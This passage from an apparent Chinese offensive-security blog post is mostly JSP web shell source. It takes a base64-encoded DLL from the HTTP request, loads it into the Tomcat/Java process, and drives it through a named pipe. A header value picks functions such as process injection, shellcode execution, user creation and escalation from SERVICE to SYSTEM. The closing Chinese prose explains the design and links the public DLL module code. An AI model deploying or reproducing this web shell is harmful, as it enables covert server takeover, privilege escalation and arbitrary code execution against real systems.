        fos.close();
        return file.getAbsolutePath();
    }

    private void RuntimeLoad(String path){
        Runtime.getRuntime().load(path);
    }

    private void SystemLoad(String path){
        System.load(path);
    }

    private void NativeLoad(String path) throws Exception{
        Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
        if(Native != null){
            java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
            Load.invoke(path);
        }
    }
//</jsp:declaration>
%>

<%
    String pipeName = "\\\\.\\pipe\\josPipe";
    try{
        String method = request.getHeader("WWW-Authenticate");
        if(method == null){
            out.println("Start");
            return;
        }
        if (method.equals("load")){
            ServletInputStream stream = request.getInputStream();
            String file =  UploadBase64DLL(stream);
            RuntimeLoad(file);
        }else if (method.equals("dump")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x02);
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("process")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x00);
            pipe.write(request.getHeader("Content-Method").getBytes());
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("user")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x03);
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("code")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x01);
            pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("system")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x04);
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("system-run")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x05);
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("system-code")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x07);
            pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
            pipe.close();
        }else if (method.equals("system-uncode")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x08);
            pipe.close();
        }

    }catch (Exception e){
        System.out.println(e.toString());
    }
%>

java.io.RandomAccessFile可以读写命令管道,通过修改Header头WWW-Authenticate来控制不同的功能,每个功能都有一个16进制的编号,剩余的Body内容将会被放到其他内存区域,以供功能函数调用读取,如此以来解决了每个请求都可以执行不同功能的问题,只发送一次DLL就可以将DLL模块打入Tomcat/Java进程的内存中执行,并且利用管道读写的特性也能够实现数据的回显,这个已经在示例代码中体现出来了。

SERVICE提权到SYSTEM权限并执行任意代码的流程示例图如下:

公开的DLL模块代码:https://github.com/Rvn0xsy/j2osWin

演示视频:暂无。